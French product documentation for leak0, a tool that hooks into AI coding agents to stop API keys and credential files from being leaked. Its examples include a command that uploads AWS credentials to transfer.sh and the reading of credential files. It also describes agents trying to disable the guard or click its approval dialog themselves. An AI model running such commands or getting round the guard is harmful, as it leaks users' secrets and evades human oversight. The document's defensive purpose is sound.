leak0 : Protection contre l'exfiltration d'identifiants
leak0 empêche vos agents IA de transmettre vers l'extérieur des secrets tels que des clés d'API, des tokens ou des fichiers d'identifiants (exfiltration). Il vérifie vos saisies, les appels d'outils des agents et leur sortie directement sur votre appareil. Seul ce que leak0 peut prouver est bloqué.
Termes
| Terme | Signification |
|---|---|
| Hook | Un point d'entrée proposé par l'agent : avant ou après une étape, l'agent appelle leak0 et attend sa réponse. leak0 fonctionne uniquement via ces hooks. |
| Appel d'outil | Une action de l'agent, par exemple une commande shell, un accès à un fichier, une requête web ou un appel MCP. |
| Blocage | leak0 arrête l'appel d'outil avant son exécution. Uniquement avec une preuve. |
| Question | L'agent s'arrête et vous demande si l'appel doit s'exécuter. |
| Remarque | L'appel s'exécute, et leak0 renvoie à l'agent un message texte sur la détection. |
| Masquage | leak0 remplace une valeur secrète dans la sortie d'un outil par un marqueur avant que le modèle ne la voie. |
| Hash court | Une empreinte courte d'une valeur. Elle identifie une détection dans le message et l'audit sans révéler la valeur. |
| Valeur fictive | Une valeur d'exemple reconnaissable à la place d'un vrai secret, par exemple your-api-key-here, <token> ou ${API_KEY}. |
| Dialogue PoisonZero | Une fenêtre PoisonZero au premier plan de votre bureau. Elle demande si un commit contenant un fichier de secrets peut s'exécuter lorsque l'agent ne peut pas vous le demander lui-même. Bloquer est présélectionné. |
| Connexion système | La fenêtre de connexion de votre système d'exploitation, par exemple avec Touch ID, un code PIN ou votre mot de passe. Elle n'apparaît que si vous choisissez Autoriser. Un agent ne peut pas donner cette connexion lui-même. |
Périmètre de contrôle
leak0 vérifie quatre voies par lesquelles un secret peut quitter votre appareil ou se retrouver au mauvais endroit.
| Voie | Exemples | Moment du contrôle |
|---|---|---|
| 1 Commit et publication | git add, git push, npm publish, entre autres | Avant l'appel (hook shell) |
| 2 Réseau et outils tiers | curl, scp, requêtes web, appels MCP | Avant l'appel (hooks shell, web et MCP) |
| 3 Secret vers le modèle | cat ~/.aws/credentials, env, un token dans votre saisie | Avant l'appel (hooks de saisie et de lecture) et dans la sortie ensuite (hook de sortie) |
| 4 Secret dans un mauvais fichier | Un token codé en dur dans le code, un fichier CI, un README ou un fichier de mémoire | Avant l'écriture (hook d'écriture) |
Quand leak0 bloque
Un blocage nécessite l'une de cinq preuves, B1 à B5. Sans preuve, leak0 ne bloque pas ; il pose une question, masque ou ajoute une remarque.
| Preuve | Quand elle est remplie | Exemple |
|---|---|---|
| B1 Fichier d'identifiants connu | L'appel porte sur un fichier d'identifiants connu, et son contenu confirme le type. leak0 suit pour cela les liens symboliques et normalise les chemins Windows. | ~/.aws/credentials, un JSON de compte de service, une clé SSH privée |
| B2 Token avec checksum | Le token a un préfixe connu et un checksum valide. Cela ne vaut que pour les familles de tokens qui portent un checksum. | GitHub ghp_…, npm_…, GitLab glpat-…, entre autres |
| B3 Valeur secrète connue | Une valeur que leak0 a déjà reconnue comme secret dans la même session figure telle quelle dans un appel sortant. | Le contenu de ~/.aws/credentials dans le corps d'un appel curl |
| B4 Secret vers un tiers | Le secret figure dans les données envoyées (corps, envoi de fichier, gist, nom DNS), et la destination n'est manifestement pas la vôtre : un service de collage, de dépôt de fichiers, de collecte de requêtes ou de tunnel, une adresse IP publique ou une publication publique. | curl -F f=@~/.aws/credentials https://transfer.sh |
| B5 Désactiver leak0 | L'agent tente de désactiver leak0, ou supprime ou modifie les entrées PoisonZero dans ses réglages de hooks. | poisonzero leak0 off, exécuté par l'agent |
Ce que contient un message
À chaque blocage et à chaque question, l'agent reçoit un message. Il ne nomme jamais la valeur secrète. Il contient :
- leak0 comme expéditeur et la preuve (B1 à B5)
- la classe de règle avec le préfixe
leak0:, par exempleleak0:checksum_token_commit - le type de preuve : chemin résolu, structure, checksum ou correspondance de hash
- le hash court de la valeur
- comment désactiver leak0
Quand leak0 ne bloque pas
leak0 ne bloque que lorsqu'une fuite est prouvée. Dans ces cas, la preuve manque, il n'y a donc jamais de blocage.
| Situation | Ce que fait leak0 |
|---|---|
Un token est envoyé à son propre point de connexion, par exemple dans l'en-tête Authorization ou sous la forme user:token@host | Pas de blocage ; selon le cas, une question ou une remarque |
Copie vers vos propres serveurs (scp, rsync), stockage compatible S3, GitLab ou Vault auto-hébergé | Pas de blocage ; pour un fichier d'identifiants, une question |
Fichiers .env, fichiers de démarrage du shell comme ~/.zshrc, fichiers PEM dans le dépôt | Pas de blocage ; question, masquage ou remarque |
Un fichier secret avec des valeurs réelles dans un dossier de test, par exemple tests/.env ou fixtures/credentials | Une question au lieu d'un blocage |
Valeurs fictives et valeurs d'exemple dans les dossiers de test et les modèles, par exemple .env.example | S'exécute sans intervention |
Un token avec somme de contrôle dans un dossier de documentation, par exemple docs/ ou examples/ | Une question au lieu d'un blocage |
Les dossiers de test sont les dossiers du dépôt qui portent exactement l'un de ces noms : test, tests, testdata, fixtures, fixture, __tests__, __fixtures__, __mocks__. Comptent aussi les fichiers de test comme *_test.*, *.spec.* et *.test.*, ainsi que les modèles se terminant par .example, .sample ou .template.
Seul compte le chemin depuis la racine du dépôt. Le dossier qui contient le dépôt ne compte pas : leak0 contrôle un projet sous ~/TestApp comme tout autre.
Les dossiers de documentation (docs, doc, examples, example, samples, sample, spec) n'assouplissent que les détections de tokens. leak0 y contrôle les fichiers secrets comme partout : docs/.env avec des valeurs réelles entraîne une question, un vrai fichier d'identifiants un blocage.
Nouveaux fichiers secrets dans Git
Lorsqu'une commande Git intègre un nouveau fichier secret, par exemple un .env, un fichier d'identifiants ou un fichier de clé, leak0 contrôle son contenu. Le message nomme le fichier, jamais la valeur.
| Situation | Ce que fait leak0 |
|---|---|
git add . ou git add -A intègre un fichier secret avec des valeurs réelles | Une question qui nomme le fichier |
git commit -a ou git commit avec des chemins inclut un tel fichier | Une question qui nomme le fichier |
git push, aussi avec --tags ou lors du premier push, envoie un tel fichier | Une question qui nomme le fichier |
Le fichier est un fichier d'identifiants prouvé (B1), par exemple un fichier credentials d'AWS | Blocage |
.env.example ou un fichier contenant uniquement des valeurs fictives | S'exécute sans intervention |
| La vérification ne se termine pas dans le temps disponible | Une question là où l'agent demande lui-même, sinon un blocage qui invite à réessayer. L'appel ne passe jamais sans vérification. |
Qui pose la question dépend de l'agent :
| Agent | Question sur un fichier de secrets dans Git |
|---|---|
| Claude Code, Cursor et Antigravity CLI | Le dialogue de confirmation propre à l'agent |
| Codex et Gemini CLI | Le dialogue PoisonZero, Autoriser avec connexion système |
Autorisation dans le dialogue PoisonZero
Codex et Gemini CLI ne peuvent pas vous interroger eux-mêmes depuis le hook. Pour un fichier de secrets dans Git, c'est donc PoisonZero qui demande, en deux étapes. Les deux fenêtres portent le titre « poison0 agent: leak0 safeguard ».
| Étape | Ce qui se passe |
|---|---|
| 1. Dialogue PoisonZero | Apparaît au premier plan et nomme le produit, l'agent, le fichier et la raison, jamais la valeur. Bloquer est présélectionné : un clic, sans mot de passe. |
| 2. Connexion système | Ce n'est que si vous choisissez Autoriser que la fenêtre de connexion de votre système d'exploitation apparaît aussitôt au premier plan. Vous vous connectez avec votre propre compte. |
| Situation | Effet |
|---|---|
| Vous choisissez Autoriser et vous vous connectez | L'appel s'exécute, une fois |
| Vous choisissez Bloquer | Blocage. L'agent reçoit le texte indiquant que vous avez refusé et la demande de vous consulter. |
| Vous annulez la connexion, ou le mot de passe est erroné | Blocage |
| Pas de réponse sous 90 secondes | Blocage |
| L'agent réessaie après un refus ou sans réponse | Pas de nouveau dialogue pour le même fichier pendant 60 secondes. Blocage avec un texte clair pour l'agent. |
| Plus de trois dialogues en une minute | Blocage sans dialogue. L'agent est informé qu'il y a eu trop de demandes. |
| Pas de bureau : session SSH, CI, personne de connecté ou le service PoisonZero est injoignable | Blocage. Le message indique poisonzero leak0 allow <fichier> pour votre propre terminal. |
Pourquoi une connexion système ? Un agent peut déclencher lui-même un clic sur Autoriser, par exemple par automatisation de l'interface. Il ne peut pas donner la connexion de votre système d'exploitation. Un clic seul ne laisse donc rien passer.
| Système d'exploitation | Fenêtre de connexion |
|---|---|
| macOS | La fenêtre système de macOS avec Touch ID ou mot de passe |
| Windows | La fenêtre « Sécurité Windows » avec le texte de PoisonZero. Si un code PIN ou une empreinte digitale est configuré, Windows vous le propose à cet endroit. |
| Linux | L'authentification système de polkit. PoisonZero ne voit jamais le mot de passe. |
Seule compte la connexion du compte sous lequel l'agent s'exécute ; vous n'avez pas besoin de droits d'administrateur. Claude Code continue de demander dans son propre dialogue de confirmation.
Autorisation dans votre propre terminal
Sans bureau, par exemple en SSH, leak0 bloque et indique la commande poisonzero leak0 allow <fichier>. Exécutez-la dans votre propre terminal, pas via l'agent. Laissez ensuite l'agent refaire le commit ou le push.
| Commande | Effet |
|---|---|
poisonzero leak0 allow <fichier> | Autorise exactement le contenu actuel du fichier : pour un nombre quelconque de commits pendant 10 minutes et pour un push, le premier qui contient le fichier. Plusieurs fichiers sont possibles. |
- Confirmation : votre propre mot de passe, dans votre propre terminal. Vous n'avez pas besoin de droits d'administrateur. Sous macOS et Linux,
sudofonctionne aussi. - Ce contenu uniquement : si le fichier change ensuite, l'autorisation ne s'applique plus.
- Échecs : 3 secondes entre deux tentatives. Après 5 échecs, l'autorisation est bloquée pendant 15 minutes.
- Service : le service PoisonZero vérifie la connexion, délivre l'autorisation et l'enregistre. Il doit être en cours d'exécution.
- Pas par l'agent : si l'agent exécute lui-même la commande, leak0 la bloque (B5).
- Le message à l'agent indique la commande aussi après un refus dans le dialogue.
Autorisation par les utilisateurs dans le profil
Dans les profils Cloud, l'admin décide si les personnes sur l'appareil peuvent autoriser elles-mêmes les commits contenant des fichiers de secrets. Console : section leak0, interrupteur Les utilisateurs peuvent autoriser eux-mêmes les commits contenant des fichiers de secrets. Par défaut : activé.
| Interrupteur | Ce que fait leak0 |
|---|---|
| Activé | Une question dans le dialogue de l'agent ou dans le dialogue PoisonZero. L'autorisation avec poisonzero leak0 allow est possible. |
| Désactivé | Blocage pour chaque agent, Claude Code compris. Le message invite à s'adresser à l'admin. poisonzero leak0 allow refuse l'autorisation, et les autorisations existantes ne comptent pas. |
Les appareils privés n'ont pas cet interrupteur. L'autorisation y est toujours possible.
Notification de bureau lors d'un blocage
Lorsque leak0 bloque un appel, PoisonZero peut afficher une notification de bureau : agent, outil et ce qui a été bloqué, par exemple « Jeton dans un commit ». Elle ne contient jamais de valeur secrète, de chemin ni de commande.
| Point | Comportement |
|---|---|
| Activer | Console : profil, réglage Avis lorsqu'une menace est bloquée. Appareils privés : sudo poisonzero notify on ; le réglage local est prioritaire sur le profil. Par défaut : désactivé. |
| Quand | Lors d'un blocage. Les questions, le masquage et les remarques ne déclenchent pas de notification. |
| Pour qui | Pour la personne connectée au bureau dont l'agent a été bloqué |
| Fréquence | Le même blocage au plus une fois par minute, au moins 5 secondes entre deux notifications |
Agents pris en charge
leak0 prend en charge cinq agents. Ce qu'il fait pour chaque agent dépend des hooks que l'agent propose.
| Agent | Systèmes d'exploitation |
|---|---|
| Claude Code | macOS, Linux et Windows |
| Codex (CLI et IDE) | macOS, Linux et Windows |
| Cursor | macOS et Linux |
| Gemini CLI | macOS, Linux et Windows |
| Antigravity CLI | macOS, Linux et Windows |
| Agent | Bloquer | Question | Masquer les secrets dans la sortie des outils | Vérifier vos saisies |
|---|---|---|---|---|
| Claude Code | oui | oui, dialogue | oui, la valeur seule | oui |
| Codex (CLI et IDE) | oui | dialogue PoisonZero pour les fichiers de secrets dans Git, sinon remarque | oui, la valeur seule | oui |
| Cursor | oui | dialogue pour les appels shell et MCP | pour les sorties MCP | oui |
| Gemini CLI | oui | dialogue PoisonZero pour les fichiers de secrets dans Git, sinon remarque | oui, la valeur seule | oui |
| Antigravity CLI | oui | oui, dialogue | non disponible | non disponible |
Ce que signifient les colonnes
- Bloquer : leak0 arrête l'appel d'outil avant son exécution lorsque l'une des preuves B1 à B5 est remplie. Cela vaut pour les cinq agents.
- Question : lorsqu'un secret est probable mais non prouvé, par exemple avec
git add .env, une question vous est posée avant l'exécution de l'appel. Claude Code et Antigravity CLI affichent leur dialogue de confirmation, Cursor pour les appels shell et MCP. Codex et Gemini CLI : le dialogue PoisonZero pour les fichiers de secrets dans Git, voir Autorisation dans le dialogue PoisonZero. - Remarque (colonne Question) : pour les autres questions, Codex et Gemini CLI ne proposent pas de dialogue depuis le hook. L'appel s'y exécute, et leak0 renvoie à l'agent un message texte qui nomme la détection.
- Masquer les secrets dans la sortie des outils : lorsqu'un secret apparaît dans la sortie d'un outil, par exemple avec
cat .env, leak0 remplace uniquement la valeur avant que le modèle ne la voie :OPENAI_API_KEY=[leak0:openai:a1b2]. Si la valeur ne peut pas être isolée, leak0 retient toute la sortie. Cursor : pour les sorties MCP. Antigravity CLI : non disponible, car l'agent ne propose qu'un hook avant l'appel d'outil. Sorties shell et de fichiers dans Cursor : une remarque à l'agent, consignée dans l'audit commeleak0_warned. - Vérifier vos saisies : leak0 vérifie votre propre saisie, par exemple un token collé, avant qu'elle ne parte vers le modèle. Antigravity CLI : non disponible. Cursor CLI en mode impression (
-p) n'appelle pas le hook de saisie.
Lorsqu'une sortie d'outil est trop volumineuse pour être contrôlée dans le temps disponible, leak0 la retient en mode Activé. L'agent reçoit une remarque l'invitant à restreindre la commande, par exemple avec head ou grep.
Les détections qui ne justifient ni un blocage ni une question reçoivent une remarque de leak0 : toujours avec Codex, Cursor et Gemini CLI, et avec Claude Code tant que exec0 est désactivé. Antigravity CLI n'a pas de champ pour les remarques ; l'appel s'y exécute sans message.
À noter
- Codex : la recherche web intégrée s'exécute chez le fournisseur sans hook et n'est pas vérifiée.
- Les exécutions dans le cloud, comme Codex Cloud ou l'agent cloud de Copilot, ne s'exécutent pas sur votre appareil ; leak0 ne les voit pas.
poisonzero leak0 statusindique pour chaque agent de l'appareil s'il est protégé, partiellement protégé ou non protégé.
Agents que leak0 ne prend pas (encore) en charge
| Agent | Raison |
|---|---|
| GitHub Copilot CLI, VS Code agent, Windsurf, Cline (macOS et Linux), Kiro, Goose, Augment (Auggie), Junie CLI, Factory Droid, Amp, OpenCode, Cortex Code CLI, Qwen Code, Kilo Code, Crush, OpenHands, Open Interpreter, gptme, Kimi Code CLI, Mistral Vibe, Pi, Grok CLI, Tabnine CLI | Des hooks existent, non pris en charge dans cette version |
| Assistant de code de Xcode (Claude Code, Codex et Gemini CLI dans Xcode) | Lit sa propre configuration dans ~/Library/Developer/Xcode/CodingAssistant/ ; non protégé dans cette version |
| Aider | Pas de système de hooks ; les commits automatiques s'exécutent avec --no-verify par défaut |
| Zed | Seulement des règles fixes par outil, pas de hook exécutable |
| Cline sous Windows | Pas de hooks sous Windows |
| Cursor sous Windows | Pris en charge sous macOS et Linux dans cette version |
| Amazon Q Developer CLI | Produit arrêté |
| Warp, Roo Code, Continue (extension IDE), Trae, Void, Plandex, Qodo, GitHub Copilot dans Visual Studio, JetBrains, Xcode et Eclipse, JetBrains AI Assistant, Gemini Code Assist, Android Studio Gemini, Databricks Assistant, extension Snowflake pour VS Code, Sourcegraph Cody, Letta Code, Tabby, Raycast AI, Google Jules CLI, Pieces, Flowise, Dify, LibreChat | Aucun hook utilisable connu |
Hors périmètre
leak0 ne couvre pas ces cas, ou seulement en partie. La colonne de droite indique ce qui s'applique à la place.
| Non couvert | Raison | À la place |
|---|---|---|
| Empoisonnement de la mémoire, y compris quand l'instruction empoisonnée demande d'envoyer des secrets | Une protection à part | poison0, voir Ce que fait l'agent poison0 |
| Abus sans fuite : écraser ou supprimer un fichier d'identifiants, assouplir des droits, créer des tokens à portée trop large | Aucun secret ne quitte la machine | exec0 |
| Injection de prompt dans du contenu que lit l'agent | Un autre risque | inject0 |
Chemins cachés, par exemple via des jokers, des variables, $(...) ou des sous-processus | Le chemin ne figure pas de façon démontrable dans la commande | Pas de blocage ; la sortie est masquée là où l'agent le permet |
| Sortie encodée ou découpée, par exemple en hex ou en morceaux | Un checksum ne correspond qu'à la valeur entière | Toute la sortie est retenue quand un fichier d'identifiants alimente une commande qui la transforme |
| Scripts, Makefiles, hooks git ou CI lancés plus tard | Écrire et lancer sont des appels distincts | Blocage seulement si le script écrit envoie un fichier d'identifiants vers une destination manifestement tierce dans le même pipeline ; sinon une remarque |
| Secrets sans format connu, par exemple des mots de passe | Non démontrable | Masquage par nom de champ dans les fichiers d'identifiants connus ; jamais un blocage |
| Tokens révoqués ou de test à checksum valide | Hors ligne, impossibles à distinguer de vrais tokens | Sous les chemins de test, de fixtures et de documentation, une question au lieu d'un blocage |
| Vérification en ligne de la validité d'un token | leak0 vérifie uniquement hors ligne | Ne fait pas partie de leak0 |
Voies sans hook : recherche web de Codex, commandes ! dans Claude Code, télémétrie, saisie dans un terminal à côté de l'agent | Aucun hook ne les voit | Non couvert |
| Texte en clair sur le disque : transcriptions et télémétrie des agents | leak0 change ce que voient le modèle et les hôtes tiers, pas ce que l'agent enregistre | Non couvert |
| Un sandbox ou un lanceur propre pour les agents | leak0 fonctionne uniquement via les hooks des agents | Ne fait pas partie de leak0 |
Modes de fonctionnement
| Mode | Dans la console | Effet |
|---|---|---|
enforce | Activé | Bloque sur preuve, pose des questions, masque et ajoute des remarques. |
observe | Observer | Journalise chaque correspondance avec sa preuve. Ne bloque, ne questionne et ne masque jamais. |
off | Désactivé | Aucune vérification. Si exec0 est aussi désactivé, le hook se termine immédiatement. |
leak0 n'est jamais activé en silence. Il n'est activé qu'après une décision : dans l'installeur, avec PZ_SETUP_LEAK0, avec sudo poisonzero leak0 enforce ou dans le profil de la console. Sans aucune d'elles, le mode est off.
- Ordre : réglage local, puis profil, puis
off. Sur les appareils Cloud, le réglage local ne compte pas. - leak0 est indépendant de exec0 : leak0 activé avec exec0 désactivé est un réglage valide. Les deux s'exécutent dans la même entrée de hook ; leak0 vérifie en premier.
- leak0 fait partie de Solo Dev, Pro et Enterprise.
Configuration en mode Cloud
- Dans la console, ouvrez Settings → Profils.
- Enterprise : cliquez sur Modifier sur le profil. Solo Dev et Pro : le profil s'affiche directement dans cette section.
- Dans la zone leak0, choisissez Activé, Observer ou Désactivé. Les profils existants démarrent sur Désactivé ; un nouveau profil a Activé présélectionné.
- Ajoutez si vous le souhaitez vos propres fichiers de secrets et exclusions dans les deux listes et décidez si les utilisateurs peuvent autoriser eux-mêmes les commits contenant des fichiers de secrets.
- Enregistrez. Les appareils Cloud prennent le réglage à leur prochaine synchronisation avec la console et ajoutent les entrées de hook manquantes ; les utilisateurs de Codex confirment les nouveaux hooks dans Codex avec
/hooks.
| Champ du profil | Valeurs | Limite |
|---|---|---|
leak0.mode | enforce, observe, off | off tant qu'il n'est pas défini |
leak0.secretFiles | Liste de { path, keys } : path est un glob, ~ et %USERPROFILE% sont autorisés ; keys nomme éventuellement les champs qui contiennent le secret | 200 entrées au maximum |
leak0.exclusions | Liste de globs que leak0 ne traite pas comme source de secrets | 200 entrées au maximum |
leak0.userMayApprove | true, false : les personnes sur l'appareil peuvent autoriser les commits contenant des fichiers de secrets | true tant que non défini |
Sur les appareils Cloud, les commandes poisonzero leak0 qui modifient quelque chose sont refusées, sauf clear ; le réglage de la console s'applique. Sur les profils privés, la console affiche une remarque indiquant que le réglage ne s'applique qu'aux appareils Cloud.
Configuration en mode privé
Les appareils privés ne sont pas pilotés depuis la console. Tout se règle avec la CLI sur l'appareil.
| Commande | Effet |
|---|---|
poisonzero leak0 status | Affiche le mode, la source (local, profil, défaut), combien de fichiers secrets et d'exclusions contiennent vos listes (poisonzero leak0 file list et exclude list les affichent) et la protection par agent. Quand leak0 est désactivé, indique la commande pour l'activer. |
poisonzero leak0 allow <fichier> | Autorise un fichier de secrets avec son contenu actuel pour des commits (10 minutes) et un push, avec votre connexion système ; voir Autorisation dans votre propre terminal |
sudo poisonzero leak0 enforce | Active leak0 |
sudo poisonzero leak0 observe | Observer seulement |
sudo poisonzero leak0 off | Désactive leak0 |
sudo poisonzero leak0 clear | Supprime le réglage local ; le profil ou off s'applique de nouveau |
sudo poisonzero leak0 file add <glob> --keys k1,k2 | Ajoute un fichier de secrets à vous ; --keys est facultatif |
sudo poisonzero leak0 file remove <glob> | Le supprime |
poisonzero leak0 file list | Liste vos fichiers de secrets |
sudo poisonzero leak0 exclude add <glob> | Ajoute une exclusion |
sudo poisonzero leak0 exclude remove <glob> | La supprime |
poisonzero leak0 exclude list | Liste les exclusions |
sudo dans un terminal ouvert en tant qu'administrateur.Les réglages sont stockés dans le répertoire de données : /var/lib/poisonzero (Linux), /Library/Application Support/PoisonZero (macOS), <ProgramData>\PoisonZero (Windows), voir Installer l'agent poison0.
| Fichier | Contenu | Écrit par |
|---|---|---|
leak0mode | Interrupteur local : enforce, observe ou off | poisonzero leak0 enforce, observe, off |
leak0.local.json | Vos listes : {"secretFiles": [...], "exclusions": [...]} | poisonzero leak0 file et exclude |
leak0.profile | Copie du réglage leak0 du profil de la console | L'agent poison0, appareils Cloud uniquement |
Installation
Dans un terminal, l'installeur demande s'il faut activer leak0 : Activé, Observer ou Désactivé, avec Activé présélectionné. Cela vaut aussi pour l'installation en une ligne avec curl -fsSL https://poisonzero.com/install.sh | sudo sh.
Les installations sans surveillance (MDM, outils de flotte, scripts) lisent PZ_SETUP_LEAK0 ; sans elle, leak0 reste désactivé. Sur les appareils Cloud, le profil de la console décide.
| Variable | Valeurs | Sans la variable |
|---|---|---|
PZ_SETUP_LEAK0 | enforce, observe, off | Interactive : la question ci-dessus. Sans surveillance : off |
curl -fsSL https://poisonzero.com/install.sh | sudo PZ_SETUP_LEAK0=enforce sh
$env:PZ_SETUP_LEAK0='enforce' irm https://poisonzero.com/install.ps1 | iex
Entrées de hook
| Situation | Ce qui se passe |
|---|---|
| Installer l'agent poison0 | L'installeur ajoute les entrées de hook PoisonZero à chaque agent pris en charge qu'il trouve : sous macOS et Linux à Claude Code, Codex, Cursor, Gemini CLI et Antigravity CLI, sous Windows à Claude Code, Codex, Gemini CLI et Antigravity CLI. Codex vous demande une fois de faire confiance au nouveau hook : confirmez-le dans Codex avec /hooks. |
| Désactiver leak0 ou exec0 | Les entrées de hook restent. Chaque produit est activé ou désactivé à l'exécution, indépendamment de l'autre. |
| Désinstaller l'agent poison0 | Seule cette action supprime les entrées de hook. |
| Un administrateur active leak0 dans un profil Cloud | L'appareil ajoute les entrées de hook manquantes lors de sa prochaine récupération de configuration. Codex vous demande de faire confiance aux nouveaux hooks : confirmez-les dans Codex avec /hooks. poisonzero leak0 status indique quand une confirmation est en attente. |
| Claude Code : le hook ne s'exécute pas (binaire absent, plantage, délai dépassé) | Si leak0 ou exec0 fonctionne en mode enforce (leak0 : Activé, exec0 : Protection), Claude Code bloque l'appel d'outil. Si les deux sont en Observer ou Désactivé, Claude Code poursuit l'appel. |
| Codex, Cursor, Gemini CLI, Antigravity CLI : le hook ne s'exécute pas | L'agent poursuit l'appel (fail-open). Pour Cursor, failClosed n'est pas activé. |
Appareils existants : une mise à jour n'active pas leak0. Il reste désactivé jusqu'à ce que vous exécutiez sudo poisonzero leak0 enforce ou que vous l'activiez dans le profil de la console.
Audit
Chaque décision de leak0 est écrite comme événement d'audit.
| Action | Signification | Audit local | Audit de la console (mode Cloud) |
|---|---|---|---|
leak0_blocked | Appel bloqué avec preuve | oui | oui |
leak0_asked | Confirmation demandée. Pour Codex et Gemini CLI avec le résultat du dialogue PoisonZero : autorisé, refusé, pas de réponse ou aucun dialogue possible | oui | oui |
leak0_redacted | Valeur masquée dans une sortie d'outil | oui | oui |
leak0_warned | Averti : l'agent ne permet pas l'intervention, par exemple le masquage d'une sortie shell ou de fichier dans Cursor. leak0 renvoie une remarque à l'agent. | oui | oui |
leak0_observed | Détection en mode observe, sans intervention | oui | Seulement si « Aussi dans la console (audit cloud) » est activé dans le profil ; par défaut : désactivé |
leak0_granted | Fichier autorisé avec poisonzero leak0 allow après votre connexion système. Avec l'utilisateur, le nombre de fichiers et un hash court par fichier | oui | oui |
leak0_grant_failed | Autorisation échouée : connexion incorrecte ou annulée | oui | oui |
leak0_grant_locked | Autorisation refusée sans connexion, car trop de connexions ont échoué | oui | oui |
Champs par événement : agent, outil, classe de règle, mode et un hash court. Jamais inclus : la valeur secrète, le chemin ni la commande. Dans la console, les événements ont leurs propres libellés ; leak0_blocked et leak0_redacted comptent comme incidents. leak0_warned ne compte pas comme incident. Une nouvelle tentative dans les 60 secondes suivant un refus et une tentative au-delà de la limite de dialogues figurent chacune comme entrée leak0_blocked distincte. Si l'autorisation pour exactement ce contenu a déjà été consommée par un push, l'entrée l'indique. leak0_granted et leak0_grant_locked comptent comme incidents.
Confidentialité
| Données | Mode Cloud | Mode privé |
|---|---|---|
| Contenu des prompts, commandes, fichiers et sorties | Vérifié sur l'appareil, non envoyé pour la vérification | Vérifié sur l'appareil |
| Valeurs secrètes | Jamais dans l'audit ni dans le journal | Jamais dans l'audit ni dans le journal |
| État de session (chemins des copies, hashs courts des valeurs reconnues) | Sur l'appareil, un fichier par session, lisible uniquement par votre compte utilisateur, supprimé à la fin de la session là où l'agent signale la fin (Claude Code), sinon après 24 heures | Identique |
| Entrée d'audit (heure, action, outil, classe de règle, hash court), sans contenu | Sur l'appareil et dans l'audit de la console | Sur l'appareil uniquement |
Jamais dans l'audit : valeurs, chemins, commandes, arguments ni votre prompt. Liste complète : Ce que le mode Cloud envoie.
Comparaison avec exec0 et la protection de la mémoire
| Protection de la mémoire | exec0 | leak0 | |
|---|---|---|---|
| Vérifie | Les modifications de la mémoire et des fichiers d'instructions des agents | Chaque appel d'outil, à la recherche d'un dommage | Prompts, appels d'outils et sorties, à la recherche de secrets qui sortent |
| Décide avec | Melira AI et des règles | Des règles fixes et Melira AI | Des règles fixes avec preuve, sans modèle |
| S'exécute | Sur votre appareil | Sur votre appareil | Sur votre appareil |
Pour aller plus loin
Appels d'outils nuisibles : exec0. Ce que protège poison0 : Ce que fait l'agent poison0. Choisir un mode : Cloud ou privé.